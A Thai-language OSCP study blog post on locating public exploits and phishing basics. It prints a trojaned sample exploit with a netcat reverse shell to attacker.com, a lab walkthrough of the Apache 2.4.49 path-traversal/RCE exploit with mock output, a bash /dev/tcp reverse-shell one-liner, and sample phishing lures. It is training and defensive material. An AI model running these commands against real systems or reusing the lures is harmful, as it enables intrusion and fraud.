My 2025 OSCP Journey Part 5 : Phishing & Public Exploits

Tuesday, March 4, 2025

Introduction

สวัสดีคุณผู้อ่านทุกท่านครับ

ยินดีต้อนรับทุกท่านกลับเข้าสู่ Blog series ของผมอีกครั้ง หลังจากที่ Part ที่แล้ว เราได้พูดถึงเรื่อง การโจมตีโดยการใช้ SQL หรือ SQL Injection ในหลายๆประเภท การโจมตีจากฝั่งผู้ใช้งาน หรือ Client-Side Attacks

สำหรับคุณผู้อ่านท่านใดที่หลงเข้ามาใน Part นี้เป็นที่แรกและอยากจะทราบถึงเรื่องราวที่ผ่านมา ตัวผมนั้นภูมิใจและแนะนำเป็นอย่างยิ่ง ที่จะให้คุณผู้อ่านได้อ่าน Part 1 และ Part ก่อนหน้าอื่นๆก่อน เป็นการเริ่มต้น ตาที่อยู่ Link นี้เลยครับ: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-1 และ Welcome to My Journey ครับผม

และในระหว่างที่ผมกำลังเขียนบทความหรือ Blog นี้อยู่นั้น ทาง Offsec ก็ได้ทำการเพิ่มบทเรียนใหม่บางอย่างเข้ามาในคอร์ส Pen-200 ด้วย เพื่อให้เนื้อหามีความเท่าทันต่อสถานการณ์ปัจจุบันอยู่ตลอด โดยที่ในบทความนี้ ผมจะมีการเล่าถึงเนื้อหาใหม่ที่พึ่งถูกเพิ่มเข้ามาด้วย ซึ่งคือบท Phishing Basics ซึ่งเป็นเนื้อหาขั้นพื้นฐานเพื่อให้ผู้เรียนได้รู้จักและทำความเข้าใจเกี่ยวกับการโจมตีแบบ Phishing มากขึ้นนั่นเอง

ใน Part ที่ 5 นี้เราจะพูดถึงเรื่องขั้นตอนเชิงเทคนิคต่อๆไปหลังจากที่เราได้รู้จักกับการโจมตีแบบ SQLi และ Client-side และพูดถึงเรื่องเนื้อหาใหม่ที่ถูกเพิ่มเติมเข้ามา ซึ่งเช่นเดิม ตัวผมนั้นยินดีเป็นอย่างยิ่งที่จะเล่าให้ฟังครับ เพื่อไม่เป็นการเสียเวลาไปมากกว่านี้ เพราะฉะนั้น Enjoy ครับ




Locating Public Exploits

การระบุจุด ปัจจัย ทรัพยากร ข้อมูลและสิ่งต่างๆที่ใช้ในการ Exploits ที่เปิดเผยเป็นสาธารณะนั้นเป็นทักษะที่เป็นประโยชน์อย่างมากสำหรับผู้ทำการทดสอบการเจาะระบบ ซึ่งในบทนี้เราจะทำการ:

  • ระบุข้อมูลและทรัพยากร Exploit ที่น่าเชื่อถือทั้ง Online และ Offline
  • วิเคราะห์ข้อมูลและทรัพยากร Exploit ก่อนการนำมาใช้งาน
  • เก็บและหาข้อมูลของเป้าหมายเพื่อประเมินและเลือกใช้ Exploits ที่จะใช้

Getting Started with Public Exploits

ก่อนที่เราจะใช้ทรัพยากรหรือสิ่งต่างๆ(e.g. Payloads, Script, etc.)จาก Public Exploit นั้น ต้องเข้าใจถึงความเสี่ยงที่เราหรือผู้ใช้งานอาจจะได้รับ ซึ่งการใช้งาน Exploit ที่ไม่ได้รับการยืนยันว่าปลอดภัยหรือ Exploit ที่เป็นอันตรายนั้นอาจทำให้:

  • Accidental self-infection(ตัวอย่าง: ทรัพยากร Exploit ที่ผู้ใช้นำมาใช้ อาจแฝงหรือแนบ Reverse shell ซึ่งชี้กลับไปหาเจ้าของ Exploit ที่เป็นอันตรายนั้น)
  • Unexpected system crashes(ในบางครั้ง Exploit ที่นำมาใช้อาจไม่เสถียร หรือ มีคุณภาพมากพอ ซึ่งอาจเป็นอันตรายต่อระบบของผู้ใช้งาน)
  • Legal consequences(ซึ่งหนึ่งปัจจัยที่ควรคำนึงถึงเช่นกันนั่นคือกฎหมาย)

A Word of Caution💀

ในบางครั้ง การนำทรัพยากรต่างๆของ Public Exploit มาใช้โดยไม่ได้ทำการตรวจสอบก่อนนั้น เป็นเรื่องที่อันตรายอย่างมาก โดยที่การคำนึงถึงสิ่งนี้อยู่ตลอดเป็นเรื่องที่สำคัญเพื่อทำให้มั่นใจได้ว่า ทรัพยากรที่นำมาใช้จะไม่ส่งผลเสียใดๆต่อผู้ใช้

โดยนี่จะเป็นตัวอย่างของ Public Exploit ซึ่งทำการแฝง Code ซึ่งอาจส่งผลอันตรายต่อผู้ใช้งาน โดยสถานการณ์ที่มักจะเกิดขึ้น จะเป็นสถานการณ์ที่ว่า ผู้ทำการทดสอบการเจาะระบบสามารถทำการระบุช่องโหว่ของเป้าหมายได้แล้ว และได้ค้นพบ Code หรือ Payload ที่น่าจะเหมาะกับสถานการณ์การใช้งานของตน ซึ่งเป็นทรัพยากรของ Public Exploit ที่อยู่บนแพลตฟอร์มสาธารณะ อาทิเช่น Github

ตัวอย่าง Code ที่เป็นอันตราย:

import os
import requests

def exploit(target):
	print(f"[*] Exploiting {target}...")

	os.system("nc -e /bin/bash attacker.com 5555") //Line 7  

	payload = {"cmd": "id"} //Line 9
	response = requests.post(f"http://{target}/vulnerable_endpoint", data=payload)  
  	
	print(response.text) //Line 12  
  
target = "192.168.1.100"  
exploit(target)

Codeblock 1: ตัวอย่าง Code ที่เป็นอันตรายจาก Public Exploit

Code นี้มีความเสี่ยงตรงไหน?:

  • Line 7(os.system(“nc -e /bin/bash attacker.com 5555”) //hidden backdoor execute)

    • Code ในบรรทัดนี้นั้นทำการเริ่มการทำงานของ Reverse Shell ซึ่งชี้ไปหา attacker.com:5555 (Port) ซึ่งทำให้ผู้โจมตี(ในบริบทนี้คือผู้เขียน Code นี้ขึ้นมา)สามารถเข้ามาในระบบของผู้ใช้ Code ได้
    • โดยที่ Code ที่ใช้ในการ Exploit จริงๆนั้นจำทำการดึงความสนใจของผู้ใช้งาน (Line 9-12) ในขณะที่ Code ในส่วน hidden backdoor execute นั้นทำงานก่อน
  • No Clear Documentation(ไม่มีคำอธิบายที่ชัดเจน)

    • ทรัพยากร Exploit นั้นไม่มีคำอธิบายที่ชัดเจนว่าทำไม ภายใน Code ถึงมีการเรียกใช้ System(os.system)
    • อีกหนึ่งจุดสังเกตุที่ดีคือ โดยปกติแล้ว ทรัพยากร Exploit ที่ใช้งานได้ส่วนมากจะมีการ Comment เพื่ออธิบาย Code ในแต่ละขั้นตอน
  • Basic Detection Method(วิธีการตรวจเช็คขั้นพื้นฐาน)

    • เราสามารถทำการตรวจสอบขั้นพื้นฐานด้วยการใช้คำสั่ง:
kali@kali:~$ grep -E'nc|bash|exec|system'suspicious_exploit.py
//ใช้คำสั่ง grepค้นหาคำที่อยู่ใน Stringที่เรากำหนดในไฟล์ที่ต้องการตรวจสอบ
  • Output:
os.system("nc -e /bin/bash attacker.com 5555")
//ผลที่ได้จากการค้นหา

(Note:ในทางกลับกัน ผู้ใช้อาจหาประโยชน์หรือใช้งานจาก Code ที่เป็นอันตรายจาก Public Exploit นี้ได้ หากลบ Code ส่วนที่เป็นอันตรายออกไปแล้ว)

Online Exploit Resources(แหล่งข้อมูล และ ทรัพยากร Exploit บนโลก Online)

โดยที่บนโลก Online นั้นมีที่เก็บข้อมูล Public Exploit อยู่มากมายมหาศาล ซึ่งผู้ใช้งานนั้นต้องทำความเข้าใจว่าแหล่งข้อมูลไหนนั้นเชื่อถือได้ และจะใช้งานอย่างไรให้มีประสิทธิภาพ

  • The Exploit Database(Exploit-DB)

Figure 1.1: https://www.exploit-db.com/

  • URL: https://www.exploit-db.com/
  • ผู้ให้บริการ: Offensive Security
  • ข้อมูล: มีข้อมูลและทรัพยากร Exploit อยู่เป็นจำนวนมาก รวมไปถึงสคริปต์ PoC (Proof-of-Concept)

Figure 1.2: https://www.exploit-db.com/51193 (Apache 2.4.x - Buffer Overflow)

ซึ่งมากไปกว่านั้น ผู้ใช้สามารถเข้าถึงฐานข้อมูลของ Exploit-DB ผ่าน Command line ได้ ด้วยคำสั่ง:

kali@kali:~$ searchsploit apache

ตัวอย่างผลการค้นหา:

-------------------------------------------------------------  
Exploit Title               | Path  
-------------------------------------------------------------  
Apache 2.4.49 - Remote Code Execution   | exploits/linux/remote/50383.py  
Apache Struts 2 - OGNL Injection RCE    | exploits/java/webapps/42936.py

และ Download(Copy) Exploit โดยตรงผ่านคำสั่ง:

kali@kali:~$ cp/usr/share/exploitdb/exploits/linux/remote/50383.py .
  • Packet Storm Security

Figure 2.1: https://packetstorm.news/

  • URL: https://packetstorm.news/
  • เป็นการช่วยกันของชุมชนที่ขับเคลื่อนทรัพยากร Exploit และคำแนะนำใน Database
  • ข้อมูล: ส่วนมากจะมีการรวมทรัพยากร Exploit ที่ไม่เป็นทางการ(ก่อนจะทำการเพิ่มเข้าไปใน Exploit-DB) และรวมไปถึงข้อมูลข่าวสารด้าน ความมั่นคงปลอดภัยทางไซเบอร์ และ เครื่องมืออีกด้วย

Figure 2.2: ค้นหา Apache ใน https://packetstorm.news/

(ข้อมูลเพิ่มเติม: นอกจากเว็บเพจแล้ว ทาง Packetstorm มีการ Post อัปเดตข้อมูลภายในแพลตฟอร์ม X อีกด้วย ( https://x.com/packet_storm))

  • GitHub

Figure 3: https://github.com/

  • URL: https://github.com/
  • เป็นการช่วยกันของชุมชนขนาดใหญ่หรือผู้เชี่ยวชาญทำการโพสต์ PoC Exploit ต่างๆรวมไปถึงช่องโหว่แบบ Zero-day
  • โดยที่ นับว่ามีความเสี่ยงอย่างมาก หากทำการใช้งาน Code ที่ไม่ได้รับการยืนยัน

นอกจากเว็บเพจแล้วยังสามารถทำการค้นหาทรัพยากร Exploit ได้ผ่าน GitHub Dorking:

> curl -s "https://github.com/search?q=apache+exploit&type=repositories"| grep "repository"
//ค้นหา Exploit “Apache” ผ่าน GitHub Dorking

ข้อมูลเพิ่มเติม: ควรที่จะตรวจสอบ Last Update, ไฟล์ README, และคอมเมนต์ จากผู้เขียนก่อนใช้งาน

  • Google Dorking(Advanced Search Operators)

เราสามารถใช้ Google Advanced Search Operators ในการหาทรัพยากร Exploit ที่ถูกซ่อนไว้ได้ ตัวอย่างเช่น:

  • ค้นหา Apache Exploits
site:exploit-db.com "apache""remote code execution"
  • ค้นหาสคริปต์ Windows Privilege Escalation(การเพิ่มสิทธิ์การเข้าถึงบน Windows)
site:github.com "windows privilege escalation""exploit"

Offline Exploit Resources(แหล่งข้อมูล และ ทรัพยากร Exploit ใน Offline)

Offline Exploit Resources นั้นสามารถทำให้ผู้ทำการทดสอบการเจาะระบบนั้นสามารถค้นหาและเข้าถึงข้อมูลและทรัพยากร Exploit ได้ถึงแม้ไม่ได้เชื่อมต่อกับอินเตอร์เน็ตก็ตาม

Exploit Frameworks

และนี่เป็นตัวอย่าง Frameworks ที่ทำงานโดยอัตโนมัติสำหรับการ Exploitation:

Exploit Frameworksคำอธิบาย
Metasploitเป็น Framework ที่มีการใช้งานอย่างแพร่หลายในการทดสอบการเจาะระบบ
Core Impactเป็น Framework ที่มุ่งเน้นไปที่ระดับองค์กรเป็นหลัก(Enterprise)
Canvasเป็น Framework ที่จัดการโดย Immunity ซึ่งมีค่าใช้จ่ายในการใช้งาน
Browser Exploitation Framework(BeEF)เป็น Framework ที่มุ่งเน้นไปที่ Browser-based Exploits (Client-Side Attack)

ตัวอย่างการใช้งาน Metasploit(Apache):

Figure 4.1: เปิดการใช้งาน Metasploit ด้วยคำสั่ง msfconsole

หลังจากเปิดการใช้งาน ก็ทำการค้นหาช่องโหว่ที่ต้องการ ซึ่งในตัวอย่างนี้คือ Apache

Figure 4.2: ใช้คำสั่ง search apache ใน Metasploit

ทำการเลือก Exploit ที่ต้องการที่เข้ากับสถานการณ์ของตน

Figure 4.3: ทำการเลือก Exploit ที่ 316 และดูข้อมูลด้วยคำสั่ง info

โดยที่คำสั่ง "info" ใน Metasploit นั้นสามารถใช้เรียกดูรายละเอียด อาทิเช่น ตัวแปร การตั้งค่า คำอธิบาย และอื่นๆของ Exploit ได้

Figure 4.4: รายละเอียดของ Exploit ที่ 316

  • SearchSploit(Local Exploit-DB)

Searchsploit นั้นเป็นเครื่องมือแบบ Offline ซึ่งอนุญาตให้ผู้ใช้งานสามารถค้นหาข้อมูลและทรัพยากร Exploit ภายใน Exploit-DB ได้แบบ Local

ตัวอย่างการใช้งาน Searchsploit(Windows Privilege Escalation):

Figure 5.1: ทำการค้นหาทรัพยากร Exploit สำหรับ windows privilege escalation

ทำการ Copy ไฟล์ Code สำหรับการ Exploit ที่เลือก

Figure 5.2: ใช้คำสั่ง cp {/path/to/payload} {/path/to/destination}

  • Nmap NSE Scripts

Nmap นั้นสามารถใช้งานเพื่อทำการ Exploitation Scripts เพื่อหาและเก็บข้อมูลหรือ Reconnaissance และ โจมตี แบบอัตโนมัตผ่าน NSE Scripts ได้ ซึ่งคุณผู้อ่านสามารถที่จะอ่านข้อมูลเพิ่มเติมเกี่ยวกับเรื่องนี้ได้ใน Blog Series นี้ ซึ่งผมได้พูดถึงเรื่องนี้ไว้ใน Part ที่ 3 นั่นเองครับ🙌👉👉(My 2025 OSCP Jorney Part3: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-3)

ตัวอย่างคำสั่งพอสังเขปสำหรับ Nmap NSE Script:

kali@kali:~$ nmap --script vuln -p 445 192.168.1.100

ตัวอย่างผลการสแกน:

Starting Nmap 7.92at 2024-02-17  
Host is up (0.00053s latency).  
PORT  STATE SERVICE  
445/tcp open microsoft-ds  
  
VULNERABILITIES:  
CVE-2020-0796- SMBGhost Vulnerability(Critical)CVE-2017-0143- EternalBlue Exploit(Critical)

Exploiting a Target

หลังจากที่เราได้เรียนรู้และรู้จักถึงข้อควรระวัง เครื่องมือ วิธีการหาและใช้งานทรัพยากร Exploit เป็นที่เรียบร้อย ในเนื้อหาส่วนนี้เราจะทำการจำลองเหตุการณ์การโจมตีหรือการทดสอบการเจาะระบบเพื่อให้เห็นภาพและเข้าใจมากยิ่งขึ้นนั่นเอง

โดยที่เราจะทำการจำลองการ:

  • ค้นหาและเก็บข้อมูลเป้าหมาย
  • หาทรัพยากรและจุด Exploit ที่ใช้งานได้
  • ทำการใช้งาน Exploit เพื่อให้ได้สิทธิ์การเข้าถึง

ขั้นที่ 1: Scanning the Target

ทำการสแกนเป้าหมาย(192.168.1.100) เพื่อทำการหาและเก็บข้อมูลของเป้าหมาย:

kali@kali:~$ nmap -sV-p-192.168.1.100

//คำอธิบาย:
	- -sV > Service Version Detection(เป็น Flag ที่บอกให้ Nmap ทำการระบุเวอร์ชันของ Service ที่ทำงานอยู่บน Port ที่เปิดอยู่)
	- -p- > Scan All Port[0-65535](เนื่องจากการตั้งค่าพื้นฐานของ Nmap นั้นจะทำการสแกนเพียงแค่ 1000 Ports เท่านั้น ซึ่ง Flag จำบอกให้ Nmap สแกนทุก Port ที่เป็นไปได้นั่นเอง)

ผลหลังจากการสแกน:

Starting Nmap7.92( https://nmap.org ) at 2025-02-17 12:35 UTC  
Nmapscan report for 192.168.1.100  
Host is up (0.12s latency).
Not shown: 65532 closed ports
PORT 	STATE 	SERVICE   VERSION  
22/tcp  open 	ssh       OpenSSH 8.4(protocol2.0)  
80/tcp	open 	http      Apache httpd 2.4.49
443/tcp open 	https     Apache httpd 2.4.49

ทำการวิเคราะห์ข้อมูลที่ได้มาจากการสแกน:

  • จากข้อมูลที่ได้เราพบว่าเครื่องของเป้าหมาย 192.168.1.100 นั้นเปิดการใช้งาน:

    • SSH บน Port 22 (อาจเป็นพื้นที่ที่ซึ่งสามารถทำการโจมตีแบบ Brute-force ได้)
    • Apache 2.4.49 บน Port 80 (มีช่องโหว่ที่สามารถทำ Remote Code Execution ได้ (CVE-2021-41773))
  • จากการวิเคราะห์ข้างต้นเราพบว่า Apache 2.4.49 นั้นมีช่องโหว่ที่ทราบอยู่แล้ว(CVE)ดังนั้นจึงเลือกจุดนี้เป็นจุดโจมตีและทำการหาทรัพยากร Exploit ต่อไปให้เข้ากับสถานการณ์

ขั้นที่ 2: Finding a Public Exploit

เมื่อเราทราบถึงจุดที่จะทำการโจมตี ก็ทำการหาทรัพยากร Exploit ที่เข้ากับจุดที่เราจะทำการโจมตี(Apache 2.4.49)โดยในกรณีนี้เราจะทำการหาผ่าน Searchsploit

kali@kali:~$ searchsploitapache 2.4.49

ผลการค้นหา:

Exploit Database Search Results  
-------------------------------------------------------------  
Exploit Title               | Path  
-------------------------------------------------------------  
Apache 2.4.49 - Remote Code Execution (RCE) | exploits/linux/remote/50383.sh

เราพบ RCE Exploit(Remote Code Execution) (50383.sh) สำหรับ Apache 2.4.49 ซึ่งอนุญาตให้ผู้โจมตีทำ Path Traversal และ Execute หรือสั่งการทำงานคำสั่งแบบ Remote ได้ เราจึงทำการ Copy ไฟล์ Exploit มาใช้งาน(ข้อมูลเพิ่มเติม: https://www.exploit-db.com/exploits/50383)

kali@kali:~$ cp/usr/share/exploitdb/exploits/linux/remote/50383.sh . //Copy ไฟล์
kali@kali:~$ chmod+x 50383.sh //เพิ่มสิทธิ์การ Execute ให้กับไฟล์ที่ Copy มา

ขั้นที่ 3: Executing the Exploit for Path Traversal

ทำการ Execute ไฟล์ Exploit ใส่เป้าหมายด้วยคำสั่ง “bash”:

kali@kali:~$ bash 50383.sh targets.txt/etc/passwd

//คำอธิบาย:
	- target.txt > ทำการใส่ IP เป้าหมาย(192.168.1.100)เข้าไปใน File Text(target.txt)
	- /etc/passwd > Path ไฟล์ ที่ต้องจะดูข้อมูล

ผลการ Execute:

[*] Testing 192.168.1.100... //Mock-up response

[*] Sending path traversal payload... //Mock-up response[+] Response received! //Mock-up response  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin //Line 6  
syslog:x:104:106::/home/syslog:/usr/sbin/nologin  
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin

คำอธิบาย:

  • จะเห็นได้ว่า Path Traversal Payload นั้นสามารถดึงข้อมูลจาก /etc/passwd ได้สำเร็จ
  • จากข้อมูลที่ได้มาเราพบว่า Apache นั้นทำงานอยู่บน User “www-data”[Line6]

ขั้นที่ 4: Executing Arbitrary Command

ทำการทดสอบการ Execute คำสั่งโดยไม่ได้รับอนุญาต(ไม่มีสิทธิ์/Arbitrary):

kali@kali:~$ bash50383.sh targets.txt /bin/sh "whoami"

ผลการ Execute:

[*] Testing 192.168.1.100... //Mock-up response  
[*] Sending RCE payload... //Mock-up response  
[+] Response received! //Mock-up response

www-data

คำอธิบาย:

  • จะเห็นได้ว่า RCE Exploit นั้นทำการ Execute คำสั่ง “whoami” บนเครื่องเป้าหมายได้สำเร็จ กล่าวคือผู้โจมตีหรือผู้ทดสอบการเจาะระบบสามารถที่จะ Execute คำสั่งบน User “www-data” ได้ทั้งหมด

(เพิ่มเติม: ซึ่งหลังจากขั้นตอนนี้ ผู้โจมตีหรือผู้ทำการทดสอบการเจาะระบบสามารถแผ่ขยายการโจมตีออกไปได้ อาทิเช่น การทำ Reverse Shell ด้วยคำสั่ง “bash -c 'bash -i >& /dev/tcp/{LHOST}/4444 0>&1'” และทำ Privillege Escalation ต่อไปเพื่อเพิ่มสิทธิ์การเข้าถึง ซึ่งขึ้นอยู่กับความสามารถของผู้ทำการโจมตี)




Phishing Basics

Phishing เป็นหนึ่งในเทคนิคการโจมตีทางไซเบอร์ที่ถูกใช้งานมากที่สุดโดยจะมุ่งเน้นการโจมตีไปที่ จิตวิทยาของมนุษย์โดยใช้ กลลวงและเทคโนโลยีในการขโมย Credential(ข้อมูลการยืนยันตัวตน) ข้อมูลส่วนตัวข้อมูลทางการเงินและ ข้อมูลสำคัญที่มีความอ่อนไหวต่างๆ

โดยที่ผู้โจมตีนั้นจะทำการสร้างข้อความที่ดูน่าเชื่อถือขึ้นมาเพื่อหลอกให้เหยื่อหลงเชื่อและทำการ:

  • คลิก Link ที่เป็นอันตราย
  • ดาวน์โหลดไฟล์ที่เป็นอันตราย
  • กรอกหรือมอบข้อมูลสำคัญต่างๆให้กับผู้โจมตี

ซึ่งเราสามารถจำแนกประเภทของการ Phishing ออกได้เป็น 2 ประเภทหลักๆ:

  1. Standard Phishing - เป็นการโจมตีขนาดใหญ่ กล่าวคือเป็นการโจมตีแบบไม่เจาะจงเป่าหมายมุ่งเน้นไปที่จำนวนของเหยื่อโดยที่ไม่ได้ระบุเป็าหมายชัดเจน (ตัวอย่าง: “”Your PayPal account has been locked! Click here to restore access”)
  2. Spear Phishing - เป็นการโจมตีที่มีการระบุเป้าหมายชัดเจนส่วนมากจะมุ่งเน้นไปที่เป่าหมายเพียงแค่เป่าหมายเดียว และมีการทำการค้นคว้าหรือ Social Engineeringอื่นๆเพื่อหาข้อมูลของเป้าหมายเพิ่มเติมเพื่อทำให้การ Phishing นั้นดูน่าเชื่อถือมากยิ่งขึ้น(อาทิเช่น การโจมตีแบบ Whaling ซึ่งเป็นประเภทย่อยหนึ่งของ Spear Phishing ที่จะจงไปที่เป้าหมายที่มี High-Profile ผู้อำนาจ นักการเมือง CEO หรือ ผู้มั่งคั่ง โดยเฉพาะนั่นเอง)

Phishing 101

ในทุกวันนี้นั้น Phishing ได้มีการพัฒนารูปแบบค่อนข้างมาก ผู้โจมตีมีการใช้ ช่องทาง รูปแบบ และ เทคนิคที่ซับซ้อนมากขึ้น รวมถึงการใช้ Social Engineering และ การใช้ LLMs หรือ AI มาเป็นส่วนช่วยด้วย ซึ่งรูปแบบที่ว่านั้นได้แก่:

  • Smishing(การ Phishing โดย SMS)
  • Vishing(การ Phishing โดยเสียง)
  • Chatting(Chat-based phishing)(การ Phishing ผ่านข้อความซึ่งมุ่งเน้นไปที่แอปพลิเคชันอย่าง Slack, WhatsApp, Discord, Line, Facebook Messenger และอื่นๆ)
  • Deepfake & AI-enhanced phishing(การ Phishing โดยใช้ AI ช่วยในการสร้าง เสียง ภาพ หรือ คลิปวิดีโอ)

โดยที่ในบทนี่จะนำเสนอถึงประเภทต่างๆของการโจมตีแบบ Phishing ผู้โจมตีนั้นสร้างข้อความ Phishing ขึ้นมาได้อย่างไร และ AI นั้นเข้ามามีบทบาทและถูกใช้เพื่อช่วยเหลือในการโจมตีอย่างไร

Email Phishing

ถึงแม้ว่าเทคนิคการ Phishing นั้นจะถูกพัฒนาไปมาแค่ไหนแต่อีเมลนั้นก็ยังคงเป็นรูปแบบที่ถูกใช้ในการโจมตีแบบ Phishing มากที่สุดอยู่ดีเนื่องด้วยรูปแบบอีเมลนั้นมีคุณสมบัติที่Scalabilityมีประสิทธิภาพและยังมีความสามารถที่จะหลีกเลี่ยงระบบความปลอดภัยได้อีกด้วย

ซึ่ง Email Phishing นั้นทำงานโดยการที่ ผู้โจมตีนั้นทำการสร้างอีเมลหลอกลวงขึ้นมาซึ่งจะปลอมตัวให้ดูเหมือนกับองค์กรหรือ บุคคลที่น่าเชื่อถือ (อาทิเช่น ธนาคาร บริษัทไอที องค์กรของภาครัฐ และอื่นๆ)

ซึ่งอีเมลนั้นจะถูกออกแบบมาเพื่อ:

  • หลอกให้เหยื่อคลิกลิงค์ที่เป็นอันตราย
  • ล่อลวง ชักชวน ให้เหยือดาวน์โหลดไฟล์ที่เป็นอันตราย
  • สอบถามหรือร้องขอให้เหยื่อกรอกข้อมูลส่วนตัวต่างๆ

เทคนิคการทำ Email Phishing ที่พบเห็นได้บ่อย:

  • Display Name Spoofing
From: "Microsoft Support" <security@microsoft-help.com>
  • ชื่อผู้ส่งนั้นจะดูเป็นทางการอย่างมาก แต่ Domain ของอีเมลนั้นจะไม่มีเหมือนถึง 100% เนื่องด้วย Domain นั้นไม่สามารถปลอมแปลงได้
  • Homograph URLs (IDN Spoofing) https://p**а**ypаl.com/login
    • หากดูลิงค์นี้ผิวเผินอาจดูเหมือนลิงค์ทางการเป็นอย่างมากหากแต่ว่าตัวอักษร “a” นั้นเป็นตัวอักษร Cyrillic ซึ่งจะแสดงผลตัวอักษรเหมือน “a” ปกติภายในลิงค์
  • URL Shortening & Dynamic Link Manipulation
Click here: https://bit.ly/3eXampL
  • ทำการย่อลิงค์ลงซึ่งจะทำให้ไม่เห็น URL ที่แท้จริง
  • Credential Harvesting Pages
    • ทำหน้าเว็บเพจปลอมเพื่อ Login ซึ่งเป็นการ Clone จากเว็บเพจจริงเพื่อเก็บข้อมูลยืนยันตัวตนของเหยื่อ

วิธีการป้องกัน:

  • ใช้ Email Security Filtering (อาทิเช่น Microsoft Defender, Proofpoint)
  • ทำการตรวจสอบลิงค์ด้วยตนเองก่อนคลิก โดยการนำ Cursor Mouse ไป Hoverไว้บนลิงค์
  • เปิดการใช้งาน Phishing-Resistant MFA (FIDO2, YubiKey)

Smishing, Vishing, and Chat-Based Phishing

และเมื่อการใช้งานอีเมลเพื่อติดต่อนั้นน้อยลง และในทางกลับกันที่โทรศัพท์มือถือและ Message แอปพลิเคชันนั้น ได้รับความนิยมและมีบทบาทในการสื่อสารมากขึ้น การโจมตีแบบ Phishing จึงแผ่ขยายไปยังช่องทาง SMS การโทรด้วยเสียง และ Message แอปพลิเคชัน

  • Smishing(Phishing ด้วย SMS):
    • โดยที่ Smishing นั้นผู้โจมตีจะทำการสร้างข้อความหลอกลวงซึ่งออกแบบมาเพื่อให้เหยื่อคลิกที่ลิงค์และ/หรือให้กรอกข้อมูลสำคัญ
    • โดยที่ลิงค์นั้นจะทำการ Redirect ไปยังหน้า Login ปลอม
    • และเมื่อเหยื่อกรอกข้อมูล ผู้โจมตีจะได้ข้อมูลแบบทันที
    • เทคนิคการโจมตี:
      • SIM Swapping > ผู้โจมตีล่อลวงให้เหยื่อสลับซิมกับตนเพื่อขโมยข้อมูล
      • Caller ID Spoofing > ผู้โจมตีปลอมแปลงเบอร์ติดต่อที่ใช้ส่งข้อความหลอกเพื่อให้ดูน่าเชื่อถือ
    • วิธีการป้องกัน Smishing:
      • ธนาคารนั้นจะไม่ส่งลิงค์โดยตรงผ่าน SMS
      • สามารถใช้แอปพลิเคชันที่เชื่อถือได้ที่มีฟีเจอร์ในการตรวจ Phishing
      • เปิดระบบ 2-Factor Authentication (2FA) สำหรับแอปพลิเคชันที่มีข้อมูลสำคัญ
มีผู้เข้าสู่ระบบธนาคารของคุณจากอุปกรอื่นหากไม่ได้ดำเนินการด้วนตนเอง โปรดติดต่อทันที kasikorn.go-line.cc

  • Vishing(Phishing ด้วยเสียง):
    • โดยที่ Vishing นั้นผู้โจมตีจะทำการโทรหาเหยื่อและปลอมตัวเป็นพนักงานธนาคาร บุคลากรของรัฐ หรืออื่นๆ เพื่อล่อลวงให้เหยื่อเปิดเผยข้อมูลหรืออื่นๆ
    • โดยที่ผู้โจมตีนั้นอาจใช้LLMsหรือ AI เพื่อทำการปลอมแปลงเสียงเพื่อใช้ในการล่อลวงได้
    • เทคนิคการโจมตี:
      • Caller ID Spoofing > ผู้โจมตีปลอมแปลงเบอร์ติดต่อที่ใช้ส่งข้อความหลอกเพื่อให้ดูน่าเชื่อถือ
      • Deepfake Voice AI > ผู้โจมตีใช้ AI เพื่อปลอมแปลงเสียงเป็นบุคคลที่น่าเชื่อถือ
    • วิธีการป้องกัน Vishing:
      • ไม่เปิดเผยข้อมูลสำคัญใดๆทางโทรศัพท์มือถือเป็นอันขาดไม่ว่าจะกรณีใดๆ
      • สามารถใช้แอปพลิเคชันที่เชื่อถือได้ที่มีฟีเจอร์ในการตรวจสอบสายเรียกเข้า อาทิเช่น Whoscall

  • Chat-Based Phishing(Phishing ผ่านข้อความในแอปพลิเคชัน):
    • โดยที่ Chat-Based Phishing นั้นผู้โจมตีจะทำการโจมตีเหมือนกับ Smishing เพียงแต่มุ่งเน้นไปที่แอปพลิเคชันที่ใช้ในการสื่อสาร
    • วิธีการป้องกัน Chat-Based Phishing:
      • ตรวจสอบผู้ส่งข้อความเสมอก่อนจะกระทำการใดๆ
      • สามารถใช้ Extension ของเบราว์เซอร์ที่เชื่อถือได้ที่มีฟีเจอร์ในการตรวจ Phishing

LLMs, Generative AI, and Deepfakes

การใช้ความเหลือจาก AI หรือ LLMs นั้นส่งผลต่อการโจมตีแบบ Phishing อย่างมาก เนื่องด้วย AI สามารถที่จะลบหรือแก้สัญญาณผิดปกติที่โดยดังเดิมจะถูกตรวจพบและสังเกตุเห็นได้ง่าย และทำให้ การโจมตีดูสมจริงมากยิ่งขึ้น

  • โดยที่ AI นั้นส่งผลให้:
    • อีเมล Phishing นั้นมีรูปแบบที่เหมือนกับถูกเขียนขึ้นโดยคนจริงซึ่งสามารถหลบหลีกการตรวจจับได้
    • เทคโนโลยี Deepfake voice นั้นสามารถทำให้การโจมตีแบบ Vishing ได้ผลมากยิ่งขึ้นเนื่องด้วยสามารถปลอมแปลงเสียงได้แบบ Real-time
    • AI Chatbot สามารถสร้างบทสนทนาเพื่อการ Phishing ได้อัตโนมัตและตลอดเวลา ซึ่งทำให้การโจมตีแบบ Chat-Based Phishing สำเร็จง่ายขึ้น

วิธีการป้องกัน LLMs, Generative AI, and Deepfakes:

  • ฝึกฝนบุคลากรให้สามารถสังเกตุเห็นถึงพฤติกรรมเล็กๆน้อยๆที่ผิดปกติได้
  • อาจใช้โปรแกรมหรืออื่นๆเพื่อตรวจจับและระบุข้อความที่น่าสงสัย
  • อาจใช้โปรแกรมหรืออื่นๆเพื่อตรวจจับและตรวจสอบ Deepfake

Payloads, Misdirection, and Speedbumps

ผู้โจมตีนั้นมีการใช้เทคนิคที่หลากหลายในการส่ง Payload เพื่อให้การทำ Phishing นั้นสำเร็จ หลบหลีกระบบความปลอดภัยเพื่อไม่ให้โดยตรวจจับ โดยที่เนื้อหาในบทนี้นั้นจะครอบคลุมเรื่อง:

  • ผู้โจมตีหลีกเลี่ยงการคัดกรองได้อย่างไร
  • ไฟล์ Office Macros และอื่นๆสามารถใช้ในการสั่งการทำงาน Payload ได้อย่างไร
